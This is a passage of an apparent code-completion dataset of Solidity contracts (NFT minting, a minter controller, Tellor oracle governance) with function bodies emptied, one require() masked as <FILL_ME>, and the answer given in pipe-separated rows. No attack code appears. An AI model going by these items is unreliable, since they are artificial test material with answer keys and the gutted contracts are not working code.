// Getters & Setters
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function setMetaDataURL(string memory value) public onlyOwner {
}
function setMintActive(bool value) external onlyOwner {
}
function totalSupply() public view returns (uint256) {
}
// Minting
function mint(uint256 tokenId) external {
require(isMintActive, "Minting is inactive");
require(tokenId >= TOKEN_MIN, "Token is out of range");
require(tokenId <= TOKEN_MAX, "Token is out of range");
require(!tokenClaimed[tokenId], "Token already claimed");
require(<FILL_ME>)
require(ERC721(contractAddress).ownerOf(tokenId) == msg.sender, "Wallet does not own token");
uint256 supply = totalSupply();
tokenClaimed[tokenId] = true;
walletClaimed[msg.sender] = true;
tokenCount += 1;
_safeMint(msg.sender, TOKEN_IDS_STARTS_AT + supply);
}
function gift(address to) external onlyOwner {
}
// Withdraw
function withdraw() external payable onlyOwner {
}
}
| !walletClaimed[msg.sender],"Wallet already claimed" | 230,297 | !walletClaimed[msg.sender] |
"Wallet does not own token" | pragma solidity ^0.8.20;
contract SquadtsBlunderbuss is ERC721, Ownable {
using Strings for uint256;
string private _metaDataURL = "";
bool public isMintActive = true;
uint256 constant TOKEN_IDS_STARTS_AT = 1;
uint256 constant TOKEN_MIN = 2001;
uint256 constant TOKEN_MAX = 3000;
uint256 tokenCount = 0;
address constant contractAddress = 0xEEAF63F35B7c365AFf27015A9AA5d6e4b734962C;
mapping(uint256 => bool) public tokenClaimed;
mapping(address => bool) public walletClaimed;
// add "metaDataURL" to our constructor
constructor(
string memory name,
string memory symbol,
string memory metaDataURL
) ERC721(name, symbol) {
}
// Getters & Setters
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function setMetaDataURL(string memory value) public onlyOwner {
}
function setMintActive(bool value) external onlyOwner {
}
function totalSupply() public view returns (uint256) {
}
// Minting
function mint(uint256 tokenId) external {
require(isMintActive, "Minting is inactive");
require(tokenId >= TOKEN_MIN, "Token is out of range");
require(tokenId <= TOKEN_MAX, "Token is out of range");
require(!tokenClaimed[tokenId], "Token already claimed");
require(!walletClaimed[msg.sender], "Wallet already claimed");
require(<FILL_ME>)
uint256 supply = totalSupply();
tokenClaimed[tokenId] = true;
walletClaimed[msg.sender] = true;
tokenCount += 1;
_safeMint(msg.sender, TOKEN_IDS_STARTS_AT + supply);
}
function gift(address to) external onlyOwner {
}
// Withdraw
function withdraw() external payable onlyOwner {
}
}
| ERC721(contractAddress).ownerOf(tokenId)==msg.sender,"Wallet does not own token" | 230,297 | ERC721(contractAddress).ownerOf(tokenId)==msg.sender |
"Already locked" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
/// @title NFT Sale
contract NFTSale is ERC721A, Pausable, Ownable {
string private currentBaseURI;
bool private baseURILock = false;
string private URISuffix = ".json";
uint256 private constant maxPerWallet = 20;
uint256 private constant maxSupply = 10000;
uint256 private constant price = 0.02 ether;
IERC721 private constant notOkBears = IERC721(0x76B3AF5F0f9B89CA5a4f9fe6C58421dbE567062d);
constructor(
string memory _name,
string memory _symbol,
string memory _initBaseURI
) ERC721A(_name, _symbol) {
}
/**
* Internal
*/
function _baseURI() internal view override returns (string memory) {
}
/**
* Public
*/
/// @notice URI format: `<base URI>contract<URISuffix>`
function contractURI() external view returns (string memory) {
}
/// @notice URI format: `<base URI>tokens/<token ID><URISuffix>`
function tokenURI(uint256 tokenId) public view override returns (string memory) {
}
///@notice Fuck BrokenSea
function mint(uint256 quantity) external payable whenNotPaused {
}
/**
* Only Owner
*/
/// @notice Watchdog: Lock #setBaseURI()
function lockBaseURI() external onlyOwner {
require(<FILL_ME>)
baseURILock = true;
}
function ownerBatchMint(uint256 amt) external onlyOwner {
}
function pause() external onlyOwner {
}
function unpause() external onlyOwner {
}
function setBaseURI(string memory _uri) external onlyOwner {
}
function setURISuffix(string memory _suffix) external onlyOwner {
}
function withdraw() external onlyOwner {
}
}
| !baseURILock,"Already locked" | 230,303 | !baseURILock |
"Can only increment allowance for minters in minterManager" | /**
* Copyright CENTRE SECZ 2018 - 2021
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
pragma solidity 0.6.12;
import "./Controller.sol";
import "./MinterManagementInterface.sol";
import { SafeMath } from "@openzeppelin/contracts/math/SafeMath.sol";
/**
* @title MintController
* @notice The MintController contract manages minters for a contract that
* implements the MinterManagerInterface. It lets the owner designate certain
* addresses as controllers, and these controllers then manage the
* minters by adding and removing minters, as well as modifying their minting
* allowance. A controller may manage exactly one minter, but the same minter
* address may be managed by multiple controllers.
* @dev MintController inherits from the Controller contract. It treats the
* Controller workers as minters.
*/
contract MintController is Controller {
using SafeMath for uint256;
/**
* @title MinterManagementInterface
* @notice MintController calls the minterManager to execute/record minter
* management tasks, as well as to query the status of a minter address.
*/
MinterManagementInterface internal minterManager;
event MinterManagerSet(
address indexed _oldMinterManager,
address indexed _newMinterManager
);
event MinterConfigured(
address indexed _msgSender,
address indexed _minter,
uint256 _allowance
);
event MinterRemoved(address indexed _msgSender, address indexed _minter);
event MinterAllowanceIncremented(
address indexed _msgSender,
address indexed _minter,
uint256 _increment,
uint256 _newAllowance
);
event MinterAllowanceDecremented(
address indexed msgSender,
address indexed minter,
uint256 decrement,
uint256 newAllowance
);
/**
* @notice Initializes the minterManager.
* @param _minterManager The address of the minterManager contract.
*/
constructor(address _minterManager) public {
}
/**
* @notice gets the minterManager
*/
function getMinterManager()
external
view
returns (MinterManagementInterface)
{
}
// onlyOwner functions
/**
* @notice Sets the minterManager.
* @param _newMinterManager The address of the new minterManager contract.
*/
function setMinterManager(address _newMinterManager) public onlyOwner {
}
// onlyController functions
/**
* @notice Removes the controller's own minter.
*/
function removeMinter() public onlyController returns (bool) {
}
/**
* @notice Enables the minter and sets its allowance.
* @param _newAllowance New allowance to be set for minter.
*/
function configureMinter(uint256 _newAllowance)
public
onlyController
returns (bool)
{
}
/**
* @notice Increases the minter's allowance if and only if the minter is an
* active minter.
* @dev An minter is considered active if minterManager.isMinter(minter)
* returns true.
*/
function incrementMinterAllowance(uint256 _allowanceIncrement)
public
onlyController
returns (bool)
{
require(
_allowanceIncrement > 0,
"Allowance increment must be greater than 0"
);
address minter = controllers[msg.sender];
require(<FILL_ME>)
uint256 currentAllowance = minterManager.minterAllowance(minter);
uint256 newAllowance = currentAllowance.add(_allowanceIncrement);
emit MinterAllowanceIncremented(
msg.sender,
minter,
_allowanceIncrement,
newAllowance
);
return internal_setMinterAllowance(minter, newAllowance);
}
/**
* @notice decreases the minter allowance if and only if the minter is
* currently active. The controller can safely send a signed
* decrementMinterAllowance() transaction to a minter and not worry
* about it being used to undo a removeMinter() transaction.
*/
function decrementMinterAllowance(uint256 _allowanceDecrement)
public
onlyController
returns (bool)
{
}
// Internal functions
/**
* @notice Uses the MinterManagementInterface to enable the minter and
* set its allowance.
* @param _minter Minter to set new allowance of.
* @param _newAllowance New allowance to be set for minter.
*/
function internal_setMinterAllowance(address _minter, uint256 _newAllowance)
internal
returns (bool)
{
}
}
| minterManager.isMinter(minter),"Can only increment allowance for minters in minterManager" | 230,309 | minterManager.isMinter(minter) |
"no value exists at given timestamp" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.3;
import "./interfaces/IOracle.sol";
import "./interfaces/IERC20.sol";
import "usingtellor/contracts/UsingTellor.sol";
/**
@author Tellor Inc.
@title Governance
@dev This is a governance contract to be used with TellorFlex. It handles disputing
* Tellor oracle data and voting on those disputes
*/
contract Governance is UsingTellor {
// Storage
IOracle public oracle; // Tellor oracle contract
IERC20 public token; // token used for dispute fees, same as reporter staking token
address public oracleAddress; //tellorFlex address
address public teamMultisig; // address of team multisig wallet, one of four stakeholder groups
uint256 public voteCount; // total number of votes initiated
bytes32 public autopayAddrsQueryId =
keccak256(abi.encode("AutopayAddresses", abi.encode(bytes("")))); // query id for autopay addresses array
mapping(uint256 => Dispute) private disputeInfo; // mapping of dispute IDs to the details of the dispute
mapping(bytes32 => uint256) private openDisputesOnId; // mapping of a query ID to the number of disputes on that query ID
mapping(uint256 => Vote) private voteInfo; // mapping of dispute IDs to the details of the vote
mapping(bytes32 => uint256[]) private voteRounds; // mapping of vote identifier hashes to an array of dispute IDs
mapping(address => uint256) private voteTallyByAddress; // mapping of addresses to the number of votes they have cast
mapping(address => uint256[]) private disputeIdsByReporter; // mapping of reporter addresses to an array of dispute IDs
enum VoteResult {
FAILED,
PASSED,
INVALID
} // status of a potential vote
// Structs
struct Dispute {
bytes32 queryId; // query ID of disputed value
uint256 timestamp; // timestamp of disputed value
bytes value; // disputed value
address disputedReporter; // reporter who submitted the disputed value
uint256 slashedAmount; // amount of tokens slashed from reporter
}
struct Tally {
uint256 doesSupport; // number of votes in favor
uint256 against; // number of votes against
uint256 invalidQuery; // number of votes for invalid
}
struct Vote {
bytes32 identifierHash; // identifier hash of the vote
uint256 voteRound; // the round of voting on a given dispute or proposal
uint256 startDate; // timestamp of when vote was initiated
uint256 blockNumber; // block number of when vote was initiated
uint256 fee; // fee paid to initiate the vote round
uint256 tallyDate; // timestamp of when the votes were tallied
Tally tokenholders; // vote tally of tokenholders
Tally users; // vote tally of users
Tally reporters; // vote tally of reporters
Tally teamMultisig; // vote tally of teamMultisig
bool executed; // boolean of whether the vote was executed
VoteResult result; // VoteResult after votes were tallied
address initiator; // address which initiated dispute/proposal
mapping(address => bool) voted; // mapping of address to whether or not they voted
}
// Events
event NewDispute(
uint256 _disputeId,
bytes32 _queryId,
uint256 _timestamp,
address _reporter
); // Emitted when a new dispute is opened
event Voted(
uint256 _disputeId,
bool _supports,
address _voter,
bool _invalidQuery
); // Emitted when an address casts their vote
event VoteExecuted(uint256 _disputeId, VoteResult _result); // Emitted when a vote is executed
event VoteTallied(
uint256 _disputeId,
VoteResult _result,
address _initiator,
address _reporter
); // Emitted when all casting for a vote is tallied
/**
* @dev Initializes contract parameters
* @param _tellor address of tellor oracle contract to be governed
* @param _teamMultisig address of tellor team multisig, one of four voting
* stakeholder groups
*/
constructor(address payable _tellor, address _teamMultisig)
UsingTellor(_tellor)
{
}
/**
* @dev Initializes a dispute/vote in the system
* @param _queryId being disputed
* @param _timestamp being disputed
*/
function beginDispute(bytes32 _queryId, uint256 _timestamp) external {
// Ensure value actually exists
require(<FILL_ME>)
bytes32 _hash = keccak256(abi.encodePacked(_queryId, _timestamp));
// Push new vote round
uint256 _disputeId = voteCount + 1;
uint256[] storage _voteRounds = voteRounds[_hash];
_voteRounds.push(_disputeId);
// Create new vote and dispute
Vote storage _thisVote = voteInfo[_disputeId];
Dispute storage _thisDispute = disputeInfo[_disputeId];
// Initialize dispute information - query ID, timestamp, value, etc.
_thisDispute.queryId = _queryId;
_thisDispute.timestamp = _timestamp;
_thisDispute.disputedReporter = oracle.getReporterByTimestamp(
_queryId,
_timestamp
);
// Initialize vote information - hash, initiator, block number, etc.
_thisVote.identifierHash = _hash;
_thisVote.initiator = msg.sender;
_thisVote.blockNumber = block.number;
_thisVote.startDate = block.timestamp;
_thisVote.voteRound = _voteRounds.length;
disputeIdsByReporter[_thisDispute.disputedReporter].push(_disputeId);
uint256 _disputeFee = getDisputeFee();
if (_voteRounds.length == 1) {
require(
block.timestamp - _timestamp < 12 hours,
"Dispute must be started within reporting lock time"
);
openDisputesOnId[_queryId]++;
// calculate dispute fee based on number of open disputes on query ID
_disputeFee = _disputeFee * 2**(openDisputesOnId[_queryId] - 1);
// slash a single stakeAmount from reporter
_thisDispute.slashedAmount = oracle.slashReporter(_thisDispute.disputedReporter, address(this));
_thisDispute.value = oracle.retrieveData(_queryId, _timestamp);
oracle.removeValue(_queryId, _timestamp);
} else {
uint256 _prevId = _voteRounds[_voteRounds.length - 2];
require(
block.timestamp - voteInfo[_prevId].tallyDate < 1 days,
"New dispute round must be started within a day"
);
_disputeFee = _disputeFee * 2**(_voteRounds.length - 1);
_thisDispute.slashedAmount = disputeInfo[_voteRounds[0]].slashedAmount;
_thisDispute.value = disputeInfo[_voteRounds[0]].value;
}
_thisVote.fee = _disputeFee;
voteCount++;
require(
token.transferFrom(msg.sender, address(this), _disputeFee),
"Fee must be paid"
); // This is the dispute fee. Returned if dispute passes
emit NewDispute(
_disputeId,
_queryId,
_timestamp,
_thisDispute.disputedReporter
);
}
/**
* @dev Executes vote and transfers corresponding balances to initiator/reporter
* @param _disputeId is the ID of the vote being executed
*/
function executeVote(uint256 _disputeId) external {
}
/**
* @dev Tallies the votes and begins the 1 day challenge period
* @param _disputeId is the dispute id
*/
function tallyVotes(uint256 _disputeId) external {
}
/**
* @dev Enables the sender address to cast a vote
* @param _disputeId is the ID of the vote
* @param _supports is the address's vote: whether or not they support or are against
* @param _invalidQuery is whether or not the dispute is valid
*/
function vote(
uint256 _disputeId,
bool _supports,
bool _invalidQuery
) external {
}
// *****************************************************************************
// * *
// * Getters *
// * *
// *****************************************************************************
/**
* @dev Determines if an address voted for a specific vote
* @param _disputeId is the ID of the vote
* @param _voter is the address of the voter to check for
* @return bool of whether or note the address voted for the specific vote
*/
function didVote(uint256 _disputeId, address _voter)
external
view
returns (bool)
{
}
/**
* @dev Get the latest dispute fee
*/
function getDisputeFee() public view returns (uint256) {
}
function getDisputesByReporter(address _reporter) external view returns (uint256[] memory) {
}
/**
* @dev Returns info on a dispute for a given ID
* @param _disputeId is the ID of a specific dispute
* @return bytes32 of the data ID of the dispute
* @return uint256 of the timestamp of the dispute
* @return bytes memory of the value being disputed
* @return address of the reporter being disputed
*/
function getDisputeInfo(uint256 _disputeId)
external
view
returns (
bytes32,
uint256,
bytes memory,
address
)
{
}
/**
* @dev Returns the number of open disputes for a specific query ID
* @param _queryId is the ID of a specific data feed
* @return uint256 of the number of open disputes for the query ID
*/
function getOpenDisputesOnId(bytes32 _queryId)
external
view
returns (uint256)
{
}
/**
* @dev Returns the total number of votes
* @return uint256 of the total number of votes
*/
function getVoteCount() external view returns (uint256) {
}
/**
* @dev Returns info on a vote for a given vote ID
* @param _disputeId is the ID of a specific vote
* @return bytes32 identifier hash of the vote
* @return uint256[17] memory of the pertinent round info (vote rounds, start date, fee, etc.)
* @return bool memory of both whether or not the vote was executed
* @return VoteResult result of the vote
* @return address memory of the vote initiator
*/
function getVoteInfo(uint256 _disputeId)
external
view
returns (
bytes32,
uint256[17] memory,
bool,
VoteResult,
address
)
{
}
/**
* @dev Returns an array of voting rounds for a given vote
* @param _hash is the identifier hash for a vote
* @return uint256[] memory dispute IDs of the vote rounds
*/
function getVoteRounds(bytes32 _hash)
external
view
returns (uint256[] memory)
{
}
/**
* @dev Returns the total number of votes cast by an address
* @param _voter is the address of the voter to check for
* @return uint256 of the total number of votes cast by the voter
*/
function getVoteTallyByAddress(address _voter)
external
view
returns (uint256)
{
}
// Internal
/**
* @dev Retrieves total tips contributed to autopay by a given address
* @param _user address of the user to check the tip count for
* @return _userTipTally uint256 of total tips contributed to autopay by the address
*/
function _getUserTips(address _user) internal returns (uint256 _userTipTally) {
}
}
| oracle.getBlockNumberByTimestamp(_queryId,_timestamp)!=0,"no value exists at given timestamp" | 230,327 | oracle.getBlockNumberByTimestamp(_queryId,_timestamp)!=0 |
"Dispute must be started within reporting lock time" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.3;
import "./interfaces/IOracle.sol";
import "./interfaces/IERC20.sol";
import "usingtellor/contracts/UsingTellor.sol";
/**
@author Tellor Inc.
@title Governance
@dev This is a governance contract to be used with TellorFlex. It handles disputing
* Tellor oracle data and voting on those disputes
*/
contract Governance is UsingTellor {
// Storage
IOracle public oracle; // Tellor oracle contract
IERC20 public token; // token used for dispute fees, same as reporter staking token
address public oracleAddress; //tellorFlex address
address public teamMultisig; // address of team multisig wallet, one of four stakeholder groups
uint256 public voteCount; // total number of votes initiated
bytes32 public autopayAddrsQueryId =
keccak256(abi.encode("AutopayAddresses", abi.encode(bytes("")))); // query id for autopay addresses array
mapping(uint256 => Dispute) private disputeInfo; // mapping of dispute IDs to the details of the dispute
mapping(bytes32 => uint256) private openDisputesOnId; // mapping of a query ID to the number of disputes on that query ID
mapping(uint256 => Vote) private voteInfo; // mapping of dispute IDs to the details of the vote
mapping(bytes32 => uint256[]) private voteRounds; // mapping of vote identifier hashes to an array of dispute IDs
mapping(address => uint256) private voteTallyByAddress; // mapping of addresses to the number of votes they have cast
mapping(address => uint256[]) private disputeIdsByReporter; // mapping of reporter addresses to an array of dispute IDs
enum VoteResult {
FAILED,
PASSED,
INVALID
} // status of a potential vote
// Structs
struct Dispute {
bytes32 queryId; // query ID of disputed value
uint256 timestamp; // timestamp of disputed value
bytes value; // disputed value
address disputedReporter; // reporter who submitted the disputed value
uint256 slashedAmount; // amount of tokens slashed from reporter
}
struct Tally {
uint256 doesSupport; // number of votes in favor
uint256 against; // number of votes against
uint256 invalidQuery; // number of votes for invalid
}
struct Vote {
bytes32 identifierHash; // identifier hash of the vote
uint256 voteRound; // the round of voting on a given dispute or proposal
uint256 startDate; // timestamp of when vote was initiated
uint256 blockNumber; // block number of when vote was initiated
uint256 fee; // fee paid to initiate the vote round
uint256 tallyDate; // timestamp of when the votes were tallied
Tally tokenholders; // vote tally of tokenholders
Tally users; // vote tally of users
Tally reporters; // vote tally of reporters
Tally teamMultisig; // vote tally of teamMultisig
bool executed; // boolean of whether the vote was executed
VoteResult result; // VoteResult after votes were tallied
address initiator; // address which initiated dispute/proposal
mapping(address => bool) voted; // mapping of address to whether or not they voted
}
// Events
event NewDispute(
uint256 _disputeId,
bytes32 _queryId,
uint256 _timestamp,
address _reporter
); // Emitted when a new dispute is opened
event Voted(
uint256 _disputeId,
bool _supports,
address _voter,
bool _invalidQuery
); // Emitted when an address casts their vote
event VoteExecuted(uint256 _disputeId, VoteResult _result); // Emitted when a vote is executed
event VoteTallied(
uint256 _disputeId,
VoteResult _result,
address _initiator,
address _reporter
); // Emitted when all casting for a vote is tallied
/**
* @dev Initializes contract parameters
* @param _tellor address of tellor oracle contract to be governed
* @param _teamMultisig address of tellor team multisig, one of four voting
* stakeholder groups
*/
constructor(address payable _tellor, address _teamMultisig)
UsingTellor(_tellor)
{
}
/**
* @dev Initializes a dispute/vote in the system
* @param _queryId being disputed
* @param _timestamp being disputed
*/
function beginDispute(bytes32 _queryId, uint256 _timestamp) external {
// Ensure value actually exists
require(
oracle.getBlockNumberByTimestamp(_queryId, _timestamp) != 0,
"no value exists at given timestamp"
);
bytes32 _hash = keccak256(abi.encodePacked(_queryId, _timestamp));
// Push new vote round
uint256 _disputeId = voteCount + 1;
uint256[] storage _voteRounds = voteRounds[_hash];
_voteRounds.push(_disputeId);
// Create new vote and dispute
Vote storage _thisVote = voteInfo[_disputeId];
Dispute storage _thisDispute = disputeInfo[_disputeId];
// Initialize dispute information - query ID, timestamp, value, etc.
_thisDispute.queryId = _queryId;
_thisDispute.timestamp = _timestamp;
_thisDispute.disputedReporter = oracle.getReporterByTimestamp(
_queryId,
_timestamp
);
// Initialize vote information - hash, initiator, block number, etc.
_thisVote.identifierHash = _hash;
_thisVote.initiator = msg.sender;
_thisVote.blockNumber = block.number;
_thisVote.startDate = block.timestamp;
_thisVote.voteRound = _voteRounds.length;
disputeIdsByReporter[_thisDispute.disputedReporter].push(_disputeId);
uint256 _disputeFee = getDisputeFee();
if (_voteRounds.length == 1) {
require(<FILL_ME>)
openDisputesOnId[_queryId]++;
// calculate dispute fee based on number of open disputes on query ID
_disputeFee = _disputeFee * 2**(openDisputesOnId[_queryId] - 1);
// slash a single stakeAmount from reporter
_thisDispute.slashedAmount = oracle.slashReporter(_thisDispute.disputedReporter, address(this));
_thisDispute.value = oracle.retrieveData(_queryId, _timestamp);
oracle.removeValue(_queryId, _timestamp);
} else {
uint256 _prevId = _voteRounds[_voteRounds.length - 2];
require(
block.timestamp - voteInfo[_prevId].tallyDate < 1 days,
"New dispute round must be started within a day"
);
_disputeFee = _disputeFee * 2**(_voteRounds.length - 1);
_thisDispute.slashedAmount = disputeInfo[_voteRounds[0]].slashedAmount;
_thisDispute.value = disputeInfo[_voteRounds[0]].value;
}
_thisVote.fee = _disputeFee;
voteCount++;
require(
token.transferFrom(msg.sender, address(this), _disputeFee),
"Fee must be paid"
); // This is the dispute fee. Returned if dispute passes
emit NewDispute(
_disputeId,
_queryId,
_timestamp,
_thisDispute.disputedReporter
);
}
/**
* @dev Executes vote and transfers corresponding balances to initiator/reporter
* @param _disputeId is the ID of the vote being executed
*/
function executeVote(uint256 _disputeId) external {
}
/**
* @dev Tallies the votes and begins the 1 day challenge period
* @param _disputeId is the dispute id
*/
function tallyVotes(uint256 _disputeId) external {
}
/**
* @dev Enables the sender address to cast a vote
* @param _disputeId is the ID of the vote
* @param _supports is the address's vote: whether or not they support or are against
* @param _invalidQuery is whether or not the dispute is valid
*/
function vote(
uint256 _disputeId,
bool _supports,
bool _invalidQuery
) external {
}
// *****************************************************************************
// * *
// * Getters *
// * *
// *****************************************************************************
/**
* @dev Determines if an address voted for a specific vote
* @param _disputeId is the ID of the vote
* @param _voter is the address of the voter to check for
* @return bool of whether or note the address voted for the specific vote
*/
function didVote(uint256 _disputeId, address _voter)
external
view
returns (bool)
{
}
/**
* @dev Get the latest dispute fee
*/
function getDisputeFee() public view returns (uint256) {
}
function getDisputesByReporter(address _reporter) external view returns (uint256[] memory) {
}
/**
* @dev Returns info on a dispute for a given ID
* @param _disputeId is the ID of a specific dispute
* @return bytes32 of the data ID of the dispute
* @return uint256 of the timestamp of the dispute
* @return bytes memory of the value being disputed
* @return address of the reporter being disputed
*/
function getDisputeInfo(uint256 _disputeId)
external
view
returns (
bytes32,
uint256,
bytes memory,
address
)
{
}
/**
* @dev Returns the number of open disputes for a specific query ID
* @param _queryId is the ID of a specific data feed
* @return uint256 of the number of open disputes for the query ID
*/
function getOpenDisputesOnId(bytes32 _queryId)
external
view
returns (uint256)
{
}
/**
* @dev Returns the total number of votes
* @return uint256 of the total number of votes
*/
function getVoteCount() external view returns (uint256) {
}
/**
* @dev Returns info on a vote for a given vote ID
* @param _disputeId is the ID of a specific vote
* @return bytes32 identifier hash of the vote
* @return uint256[17] memory of the pertinent round info (vote rounds, start date, fee, etc.)
* @return bool memory of both whether or not the vote was executed
* @return VoteResult result of the vote
* @return address memory of the vote initiator
*/
function getVoteInfo(uint256 _disputeId)
external
view
returns (
bytes32,
uint256[17] memory,
bool,
VoteResult,
address
)
{
}
/**
* @dev Returns an array of voting rounds for a given vote
* @param _hash is the identifier hash for a vote
* @return uint256[] memory dispute IDs of the vote rounds
*/
function getVoteRounds(bytes32 _hash)
external
view
returns (uint256[] memory)
{
}
/**
* @dev Returns the total number of votes cast by an address
* @param _voter is the address of the voter to check for
* @return uint256 of the total number of votes cast by the voter
*/
function getVoteTallyByAddress(address _voter)
external
view
returns (uint256)
{
}
// Internal
/**
* @dev Retrieves total tips contributed to autopay by a given address
* @param _user address of the user to check the tip count for
* @return _userTipTally uint256 of total tips contributed to autopay by the address
*/
function _getUserTips(address _user) internal returns (uint256 _userTipTally) {
}
}
| block.timestamp-_timestamp<12hours,"Dispute must be started within reporting lock time" | 230,327 | block.timestamp-_timestamp<12hours |
"New dispute round must be started within a day" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.3;
import "./interfaces/IOracle.sol";
import "./interfaces/IERC20.sol";
import "usingtellor/contracts/UsingTellor.sol";
/**
@author Tellor Inc.
@title Governance
@dev This is a governance contract to be used with TellorFlex. It handles disputing
* Tellor oracle data and voting on those disputes
*/
contract Governance is UsingTellor {
// Storage
IOracle public oracle; // Tellor oracle contract
IERC20 public token; // token used for dispute fees, same as reporter staking token
address public oracleAddress; //tellorFlex address
address public teamMultisig; // address of team multisig wallet, one of four stakeholder groups
uint256 public voteCount; // total number of votes initiated
bytes32 public autopayAddrsQueryId =
keccak256(abi.encode("AutopayAddresses", abi.encode(bytes("")))); // query id for autopay addresses array
mapping(uint256 => Dispute) private disputeInfo; // mapping of dispute IDs to the details of the dispute
mapping(bytes32 => uint256) private openDisputesOnId; // mapping of a query ID to the number of disputes on that query ID
mapping(uint256 => Vote) private voteInfo; // mapping of dispute IDs to the details of the vote
mapping(bytes32 => uint256[]) private voteRounds; // mapping of vote identifier hashes to an array of dispute IDs
mapping(address => uint256) private voteTallyByAddress; // mapping of addresses to the number of votes they have cast
mapping(address => uint256[]) private disputeIdsByReporter; // mapping of reporter addresses to an array of dispute IDs
enum VoteResult {
FAILED,
PASSED,
INVALID
} // status of a potential vote
// Structs
struct Dispute {
bytes32 queryId; // query ID of disputed value
uint256 timestamp; // timestamp of disputed value
bytes value; // disputed value
address disputedReporter; // reporter who submitted the disputed value
uint256 slashedAmount; // amount of tokens slashed from reporter
}
struct Tally {
uint256 doesSupport; // number of votes in favor
uint256 against; // number of votes against
uint256 invalidQuery; // number of votes for invalid
}
struct Vote {
bytes32 identifierHash; // identifier hash of the vote
uint256 voteRound; // the round of voting on a given dispute or proposal
uint256 startDate; // timestamp of when vote was initiated
uint256 blockNumber; // block number of when vote was initiated
uint256 fee; // fee paid to initiate the vote round
uint256 tallyDate; // timestamp of when the votes were tallied
Tally tokenholders; // vote tally of tokenholders
Tally users; // vote tally of users
Tally reporters; // vote tally of reporters
Tally teamMultisig; // vote tally of teamMultisig
bool executed; // boolean of whether the vote was executed
VoteResult result; // VoteResult after votes were tallied
address initiator; // address which initiated dispute/proposal
mapping(address => bool) voted; // mapping of address to whether or not they voted
}
// Events
event NewDispute(
uint256 _disputeId,
bytes32 _queryId,
uint256 _timestamp,
address _reporter
); // Emitted when a new dispute is opened
event Voted(
uint256 _disputeId,
bool _supports,
address _voter,
bool _invalidQuery
); // Emitted when an address casts their vote
event VoteExecuted(uint256 _disputeId, VoteResult _result); // Emitted when a vote is executed
event VoteTallied(
uint256 _disputeId,
VoteResult _result,
address _initiator,
address _reporter
); // Emitted when all casting for a vote is tallied
/**
* @dev Initializes contract parameters
* @param _tellor address of tellor oracle contract to be governed
* @param _teamMultisig address of tellor team multisig, one of four voting
* stakeholder groups
*/
constructor(address payable _tellor, address _teamMultisig)
UsingTellor(_tellor)
{
}
/**
* @dev Initializes a dispute/vote in the system
* @param _queryId being disputed
* @param _timestamp being disputed
*/
function beginDispute(bytes32 _queryId, uint256 _timestamp) external {
// Ensure value actually exists
require(
oracle.getBlockNumberByTimestamp(_queryId, _timestamp) != 0,
"no value exists at given timestamp"
);
bytes32 _hash = keccak256(abi.encodePacked(_queryId, _timestamp));
// Push new vote round
uint256 _disputeId = voteCount + 1;
uint256[] storage _voteRounds = voteRounds[_hash];
_voteRounds.push(_disputeId);
// Create new vote and dispute
Vote storage _thisVote = voteInfo[_disputeId];
Dispute storage _thisDispute = disputeInfo[_disputeId];
// Initialize dispute information - query ID, timestamp, value, etc.
_thisDispute.queryId = _queryId;
_thisDispute.timestamp = _timestamp;
_thisDispute.disputedReporter = oracle.getReporterByTimestamp(
_queryId,
_timestamp
);
// Initialize vote information - hash, initiator, block number, etc.
_thisVote.identifierHash = _hash;
_thisVote.initiator = msg.sender;
_thisVote.blockNumber = block.number;
_thisVote.startDate = block.timestamp;
_thisVote.voteRound = _voteRounds.length;
disputeIdsByReporter[_thisDispute.disputedReporter].push(_disputeId);
uint256 _disputeFee = getDisputeFee();
if (_voteRounds.length == 1) {
require(
block.timestamp - _timestamp < 12 hours,
"Dispute must be started within reporting lock time"
);
openDisputesOnId[_queryId]++;
// calculate dispute fee based on number of open disputes on query ID
_disputeFee = _disputeFee * 2**(openDisputesOnId[_queryId] - 1);
// slash a single stakeAmount from reporter
_thisDispute.slashedAmount = oracle.slashReporter(_thisDispute.disputedReporter, address(this));
_thisDispute.value = oracle.retrieveData(_queryId, _timestamp);
oracle.removeValue(_queryId, _timestamp);
} else {
uint256 _prevId = _voteRounds[_voteRounds.length - 2];
require(<FILL_ME>)
_disputeFee = _disputeFee * 2**(_voteRounds.length - 1);
_thisDispute.slashedAmount = disputeInfo[_voteRounds[0]].slashedAmount;
_thisDispute.value = disputeInfo[_voteRounds[0]].value;
}
_thisVote.fee = _disputeFee;
voteCount++;
require(
token.transferFrom(msg.sender, address(this), _disputeFee),
"Fee must be paid"
); // This is the dispute fee. Returned if dispute passes
emit NewDispute(
_disputeId,
_queryId,
_timestamp,
_thisDispute.disputedReporter
);
}
/**
* @dev Executes vote and transfers corresponding balances to initiator/reporter
* @param _disputeId is the ID of the vote being executed
*/
function executeVote(uint256 _disputeId) external {
}
/**
* @dev Tallies the votes and begins the 1 day challenge period
* @param _disputeId is the dispute id
*/
function tallyVotes(uint256 _disputeId) external {
}
/**
* @dev Enables the sender address to cast a vote
